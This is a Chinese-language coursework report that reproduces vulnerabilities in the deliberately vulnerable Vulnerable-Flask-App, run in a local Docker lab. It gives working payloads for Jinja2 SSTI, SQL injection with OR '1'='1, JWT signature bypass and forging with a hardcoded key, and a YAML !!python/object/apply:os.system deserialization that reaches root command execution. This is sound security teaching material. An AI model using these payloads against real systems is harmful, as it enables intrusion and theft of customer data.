Vulnerable-Flask-App 漏洞复现报告

适用环境:本机 Docker 靶场 Vulnerable-Flask-App,地址 http://127.0.0.1:5050/。以下操作仅用于授权的本地安全实验环境。

报告信息

项目 内容
靶场项目 Vulnerable-Flask-App
靶场路径 D:\Nnutural\Desktop\BUPT_6\网络安全综合实验\test\Vulnerable-Flask-App
访问地址 http://127.0.0.1:5050/
复现系统 Windows PowerShell + Docker
截图目录 D:\Nnutural\Desktop\BUPT_6\网络安全综合实验\test\screen
复现目标 对测试报告中可动态验证的漏洞进行实际复现,并记录命令、原理和结果证据

复现结论

本次复现覆盖了 404 页面 SSTI、搜索接口 SQL 注入、JWT 签名校验绕过、YAML 不安全反序列化、硬编码 JWT 密钥与 MD5 弱哈希等问题。截图证据已插入到各漏洞的“复现结果”位置;其中涉及 PowerShell 直接传递 JSON 导致 400 Bad Request 的截图,作为复现过程中的问题定位证据保留。

1. 环境准备

进入项目目录:

cd "D:\Nnutural\Desktop\BUPT_6\网络安全综合实验\test\Vulnerable-Flask-App"

构建镜像:

docker build -t vulnerable-flask-app .

启动靶场:

docker run -d --rm --name vulnerable-flask-app -p 5050:5050 vulnerable-flask-app

如果容器名已存在,先停止旧容器:

docker stop vulnerable-flask-app

验证首页:

curl.exe --noproxy "*" -i http://127.0.0.1:5050/

预期结果:

HTTP/1.1 200 OK
You have reached the Vulnerable App.

说明:如果直接访问出现 502 Bad Gateway,通常是本机代理干扰了 127.0.0.1 请求。命令行中统一使用 --noproxy "*" 绕过代理。

2. 获取合法 JWT Token

部分接口需要 Authorization 请求头。先使用内置账号登录。

在 Windows PowerShell 中,直接把 JSON 写在 curl.exe --data 后面时,双引号有时会被命令行解析过程改写,导致 Flask 收到的不是合法 JSON,并返回:

{
  "Error": "Unable to recognize Input"
}

因此建议先把 JSON 请求体写入文件,再用 --data-binary "@文件名" 发送:

'{"username":"admin","password":"admin123"}' | Set-Content -NoNewline -Encoding ascii ".\login.json"

$login = curl.exe --noproxy "*" -i -s -X POST "http://127.0.0.1:5050/login" `
  -H "Content-Type: application/json" `
  --data-binary "@login.json"

$login

$tokenLine = $login | Select-String -Pattern '^Authorization:\s*(.+)$'

if (-not $tokenLine) {
  Write-Host "没有拿到 Authorization 头,请检查上面的登录响应。"
} else {
  $token = $tokenLine.Matches[0].Groups[1].Value.Trim()
  $token
}

预期结果:

HTTP/1.1 200 OK
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
{"Authenticated": true, "User": "admin"}

该步骤获取到的 $token 后续用于访问 /search 等需要认证的接口。

3. CRITICAL-1:404 页面 SSTI

漏洞位置

app/app.py 的 404 错误处理函数:

template = '''...<h3>%s</h3>...''' % request.url
return render_template_string(template, dir = dir, help = help, locals = locals),404

漏洞原理

应用把用户可控的 request.url 直接拼接进模板字符串,然后调用 render_template_string() 渲染。Jinja2 会把 {{ ... }} 当作模板表达式执行,所以访问一个不存在的、带模板表达式的 URL 时,可以触发服务端模板注入。

具体操作

curl.exe --noproxy "*" --globoff -i "http://127.0.0.1:5050/{{7*7}}"

复现结果

响应状态码是 404,但页面中的 URL 片段已经从 {{7*7}} 被计算成 49

<h3>http://127.0.0.1:5050/49</h3>

截图证据:

图 1:404 页面 SSTI 复现结果,{{7*7}} 被服务端渲染为 49

结论:服务端执行了 Jinja2 表达式,SSTI 成立。

4. CRITICAL-3:搜索接口错误处理 SSTI

漏洞位置

/search 接口异常处理逻辑:

template = '''...<h3>%s</h3>...''' % str(e)
return render_template_string(template, dir=dir, help=help, locals=locals), 404

漏洞原理

/search 先把用户输入拼接到 SQL 语句中。如果输入触发 SQL 语法错误,异常字符串 str(e) 会包含部分用户输入。随后应用又把该异常字符串拼入 render_template_string(),导致异常信息中的 Jinja2 表达式被二次解析执行。

具体操作

先确保已经按第 2 节获取 $token,然后执行:

'{"search":"''{{7*7}}"}' | Set-Content -NoNewline -Encoding ascii ".\search-ssti.json"

curl.exe --noproxy "*" -i -s -X POST "http://127.0.0.1:5050/search" `
  -H "Content-Type: application/json" `
  -H "Authorization: $token" `
  --data-binary "@search-ssti.json"

复现结果

响应状态码为 404,错误页面中可以看到 {{7*7}} 已经变成 49

unrecognized token: "{" [SQL: u"SELECT first_name, last_name, username FROM customer WHERE username = ''49';"]

复现过程中的注意事项:

直接在 PowerShell 中使用 --data $body 传递 JSON 时,可能会导致 Flask/Tornado 返回 400 Bad Request,此时请求尚未进入漏洞触发逻辑。下图记录了该问题,因此本报告后续统一使用 Set-Content 写入 JSON 文件,再通过 --data-binary "@文件名" 提交。

图 2:直接通过 PowerShell 变量传递 /search 请求体导致 400 Bad Request

结论:用户输入经过 SQL 错误信息进入模板渲染流程,SSTI 成立。

5. CRITICAL-4:SQL 注入

漏洞位置

/search 接口直接拼接 SQL:

str_query = "SELECT first_name, last_name, username FROM customer WHERE username = '%s';" % search_term
search_query = db.engine.execute(str_query)

漏洞原理

用户输入没有使用参数化查询,而是通过 %s 直接拼接进 SQL 字符串。攻击者可以闭合原有单引号,并追加 OR '1'='1',使 WHERE 条件恒真,从而绕过筛选条件读取全部客户记录。

具体操作

正常搜索一个不存在的用户名:

'{"search":"no_such_user"}' | Set-Content -NoNewline -Encoding ascii ".\search-normal.json"

curl.exe --noproxy "*" -i -s -X POST "http://127.0.0.1:5050/search" `
  -H "Content-Type: application/json" `
  -H "Authorization: $token" `
  --data-binary "@search-normal.json"

预期结果为空数组:

[]

执行 SQL 注入:

'{"search":"admin'' OR ''1''=''1"}' | Set-Content -NoNewline -Encoding ascii ".\search-sqli.json"

curl.exe --noproxy "*" -i -s -X POST "http://127.0.0.1:5050/search" `
  -H "Content-Type: application/json" `
  -H "Authorization: $token" `
  --data-binary "@search-sqli.json"

复现结果

接口返回多条客户记录,而不是只返回指定用户名:

[
  ["Nathan", "Young", "millerjessica"],
  ["Kara", "Kemp", "martineznorma"],
  ["Monica", "Gray", "olsoncaitlin"],
  ["Elizabeth", "Flores", "dleon"],
  ["Shaun", "Sawyer", "gwagner"]
]

截图证据:

图 3:SQL 注入复现结果,正常查询返回空数组,注入后返回多条客户记录

结论:SQL 注入成立,攻击者可以绕过查询条件读取数据库中的客户信息。

6. HIGH-1:JWT 签名校验绕过

漏洞位置

/get/<cust_id> 接口使用了不安全的 JWT 解码函数:

def insecure_verify(token):
    decoded = jwt.decode(token, verify = False)
    print(decoded)
    return True

漏洞原理

jwt.decode(token, verify=False) 会跳过 JWT 签名校验。只要请求头中存在一个格式像 JWT 的字符串,服务端就会返回 True,从而允许访问客户详情接口。

具体操作

直接构造一个伪造签名的 JWT:

curl.exe --noproxy "*" -i -s "http://127.0.0.1:5050/get/1" `
  -H "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.fakesig"

复现结果

即使签名是 fakesig,接口仍返回客户敏感信息:

{
  "cc_num": "6011759770900640",
  "email": "michael55@hotmail.com",
  "firstname": "Nathan",
  "id": 1,
  "lastname": "Young",
  "username": "millerjessica"
}

截图证据:

图 4:JWT 签名校验绕过复现结果,伪造 fakesig Token 仍可读取客户信息

结论:/get/<cust_id> 存在认证绕过,可未授权读取客户信息和信用卡号字段。

7. CRITICAL-2:YAML 不安全反序列化

漏洞位置

/yaml_hammer 接口使用了不安全的 yaml.load()

with open(file_path, 'r') as yfile:
    y = yfile.read()

ydata = yaml.load(y)

漏洞原理

旧版本 PyYAML 的 yaml.load() 默认允许解析 Python 对象构造语法。攻击者上传带有 !!python/object/apply 的 YAML 文件时,可以触发服务端调用指定 Python 函数。本复现使用无破坏性的 id 命令,并把结果写入容器 /tmp/vfa_yaml_poc.txt

具体操作

创建 PoC 文件:

Set-Content -NoNewline -Path ".\poc-yaml-id.yaml" -Value '!!python/object/apply:os.system ["id > /tmp/vfa_yaml_poc.txt"]'

上传到 /yaml_hammer

curl.exe --noproxy "*" -i -s -X POST "http://127.0.0.1:5050/yaml_hammer" `
  -F "file=@poc-yaml-id.yaml"

检查容器内命令执行结果:

docker exec vulnerable-flask-app sh -c "ls -l /tmp/vfa_yaml_poc.txt && cat /tmp/vfa_yaml_poc.txt"

复现结果

HTTP 页面中返回 0,表示 os.system() 命令执行成功:

<p>
    0
</p>

容器内可以看到命令输出文件:

-rw-r--r-- 1 root root 39 Jul  7 07:06 /tmp/vfa_yaml_poc.txt
uid=0(root) gid=0(root) groups=0(root)

截图证据:

图 5:YAML 反序列化上传结果,页面返回 0 表示系统命令执行成功

图 6:YAML 反序列化执行结果,容器内生成 /tmp/vfa_yaml_poc.txt

图 7:YAML 命令执行结果补充,id 输出显示进程以 root 身份运行

结论:上传 YAML 文件后,服务端执行了系统命令,不安全反序列化成立。

8. MEDIUM-2:硬编码 JWT 密钥导致 Token 伪造

漏洞位置

应用把 JWT HMAC 密钥硬编码为弱口令:

app.config['SECRET_KEY_HMAC'] = 'secret'

漏洞原理

/fetch/customer 使用 verify_jwt() 校验 JWT 签名和 iss 字段。由于签名密钥直接写在源码中且为弱口令 secret,攻击者获得源码后可以自行签发满足校验条件的 JWT,从而访问受保护接口。

具体操作

在容器内使用同版本 PyJWT 生成伪造 Token:

$forged = docker exec vulnerable-flask-app python -c "import jwt, datetime; print(jwt.encode({'user':'admin','exp': datetime.datetime.utcnow() + datetime.timedelta(minutes=240),'nbf': datetime.datetime.utcnow(),'iss':'we45','iat': datetime.datetime.utcnow()}, 'secret', algorithm='HS256'))"

$forged = $forged.Trim()
$forged

使用伪造 Token 访问严格校验的 /fetch/customer

'{"id":1}' | Set-Content -NoNewline -Encoding ascii ".\fetch-customer.json"

curl.exe --noproxy "*" -i -s -X POST "http://127.0.0.1:5050/fetch/customer" `
  -H "Content-Type: application/json" `
  -H "Authorization: $forged" `
  --data-binary "@fetch-customer.json"

复现结果

接口返回客户详情:

{
  "cc_num": "6011759770900640",
  "email": "michael55@hotmail.com",
  "firstname": "Nathan",
  "id": 1,
  "lastname": "Young",
  "username": "millerjessica"
}

截图证据:

图 8:硬编码密钥复现过程,使用源码中的 secret 生成伪造 JWT;图中末尾的 400 是 PowerShell 直接传 JSON 的参数问题,按本节文件方式提交即可避免

结论:硬编码弱密钥可用于伪造合法 JWT,进而访问受保护接口。

9. MEDIUM-1:MD5 弱哈希补充验证

漏洞位置

/register/user 中使用 MD5 处理密码:

hash_pass = hashlib.md5(password).hexdigest()

漏洞原理

MD5 已不适合用于密码存储。它速度快、无盐、抗碰撞能力弱,泄露后很容易被彩虹表或常见密码库反查。

当前靶场中的实际情况

当前版本的 /register/user 接口在计算 MD5 后会执行:

new_user = User(username, hash_pass)

但该 SQLAlchemy Model 没有定义接收位置参数的构造函数,因此接口会报错,无法完整完成“注册并入库”的动态复现:

curl.exe --noproxy "*" -i -s -X POST "http://127.0.0.1:5050/register/user" `
  -H "Content-Type: application/json" `
  --data '{"username":"md5demo","password":"admin123"}'

实测响应:

{
  "Error": "__init__() takes exactly 1 argument (3 given)"
}

因此该点更适合作为源码级验证,而不是本次靶场演示的主漏洞。

补充验证

在相同 Python 2 环境中计算 admin123 的 MD5:

docker exec vulnerable-flask-app python -c "import hashlib; print(hashlib.md5('admin123').hexdigest())"

复现结果:

0192023a7bbd73250516f069df18b500

截图证据:

图 9:MD5 弱哈希验证,admin123 的 MD5 值为 0192023a7bbd73250516f069df18b500

结论:源码确实使用 MD5 处理密码,但当前接口存在额外构造函数错误,导致不能通过接口观察最终入库结果。

10. 复现结论汇总

编号 漏洞 是否可在当前靶场动态复现 关键结果
CRITICAL-1 404 SSTI {{7*7}} 渲染为 49
CRITICAL-2 YAML 不安全反序列化 容器内生成 /tmp/vfa_yaml_poc.txt,内容为 uid=0(root)
CRITICAL-3 /search 错误处理 SSTI SQL 错误信息中 {{7*7}} 渲染为 49
CRITICAL-4 SQL 注入 OR '1'='1 返回全部客户记录
HIGH-1 JWT 签名校验绕过 伪造 fakesig Token 仍能读取 /get/1
MEDIUM-2 硬编码 JWT 密钥 使用 secret 自签 Token 可访问 /fetch/customer
MEDIUM-1 MD5 弱哈希 部分 源码和哈希结果可验证,但注册接口因构造函数错误无法入库